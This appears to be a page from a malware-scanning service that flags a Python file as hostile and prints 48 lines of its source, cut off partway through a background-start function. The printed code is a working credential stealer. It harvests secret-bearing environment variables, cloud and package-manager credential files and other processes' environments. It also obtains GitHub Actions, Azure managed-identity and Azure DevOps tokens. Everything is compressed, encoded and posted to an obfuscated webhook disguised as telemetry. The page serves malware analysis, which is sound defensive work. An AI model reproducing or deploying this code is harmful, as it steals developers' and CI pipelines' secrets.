Hostile 100% python Download

urlsafe-encoding.py

Developer credential sweep with encoded uploadStealer harvests other process environments
SHA-256c93c2741189ac79f7a586a19cd2438cb6ebc926bd6d9d797190b87014103322e

Evidence

urllib data argument is encoded or compressed lines 1–48
1:24… SM agent-framework analysis; not original package bytes.
2import os, sys, glob, json, base64, zlib, threading, urllib.request
3
4def collect():
5 report = {'hostname': os.uname().nodename, 'cwd': os.getcwd(), 'argv': sys.argv[:20]}
6 needles = ('TOKEN', 'SECRET', 'PASSWORD', 'KEY', 'AZURE', 'AWS', 'GITHUB', 'OPENAI')
7 report['env'] = {k: v for k, v in os.environ.items() if any(n in k.upper() for n in needles)}
8 report['files'] = {}
9 for pattern in ('~/.azure/*.json', '~/.npmrc', '~/.netrc', '~/.git-credentials', '~/.docker/config.json', '.env*'):
10 for path in glob.glob(os.path.expanduser(pattern))[:80]:
11 try:
12 if os.path.getsize(path) < 262144:
13 report['files'][path] = open(path).read()
14 except Exception:
15 pass
16 report['proc'] = []
17 for path in glob.glob('/proc/[0-9]*/environ')[:300]:
18 try:
19 data = open(path, 'rb').read().decode('utf8', 'replace')
20 report['proc'].extend(v for v in data.split('\0') if any(n in v.upper() for n in ('TOKEN', 'SECRET', 'PASSWORD', 'KEY=')))
21 except Exception:
22 pass
23 request_url = os.environ.get('ACTIONS_ID_TOKEN_REQUEST_URL')
24 token = os.environ.get('ACTIONS_ID_TOKEN_REQUEST_TOKEN') or os.environ.get('ACTIONS_RUNTIME_TOKEN')
25 if request_url and token:
26 report['oidc'] = []
27 for audience in ('api://AzureADTokenExchange', 'https://management.azure.com/'):
28 req = urllib.request.Request(request_url + '&audience=' + audience, headers={'Authorization': 'Bearer ' + token})
29 report['oidc'].append(json.load(urllib.request.urlopen(req)))
30 endpoint = os.environ.get('IDENTITY_ENDPOINT') or os.environ.get('MSI_ENDPOINT') or 'http://169.254.169.254/metadata/identity/oauth2/token'
31 req = urllib.request.Request(endpoint + '?api-version=2018-02-01&resource=https://management.azure.com/', headers={'Metadata': 'true'})
32 report['identity'] = json.load(urllib.request.urlopen(req))
33 ado = os.environ.get('SYSTEM_OIDCREQUESTURI')
34 if ado:
35 req = urllib.request.Request(ado + '?api-version=7.1', data=b'{}', headers={'Authorization': 'Bearer ' + os.environ.get('SYSTEM_ACCESSTOKEN', '')})
36 report['ado'] = json.load(urllib.request.urlopen(req))
37 url = base64.urlsafe_b64decode('aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi').decode()
38 body = base64.urlsafe_b64encode(zlib.compress(json.dumps(report).encode(), 9))
39 req = urllib.request.Request(url + '?t=telemetry', data=body, headers={'Content-Type': 'application/octet-stream', 'User-Agent': 'runtime-diagnostics/1'})
40 urllib.request.urlopen(req).read()
41
42def _start():
43 if os.environ.get('_AF_TEL'):
44 return
45 os.environ['_AF_TEL'] = '1'
46 try:
47 if os.fork() == 0:
48 try:

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.